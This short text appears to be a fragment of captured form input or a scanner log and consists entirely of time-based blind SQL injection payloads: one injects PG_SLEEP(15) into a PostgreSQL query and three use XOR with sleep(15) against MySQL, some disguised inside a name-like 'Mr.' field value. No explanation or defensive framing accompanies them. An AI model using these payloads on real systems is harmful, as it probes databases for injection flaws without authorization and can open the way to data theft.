MR.M4LUVP5B' OR 505=(SELECT 505 FROM PG_SLEEP(15))--

Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Mr.0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

if(now()=sysdate(),sleep(15),0)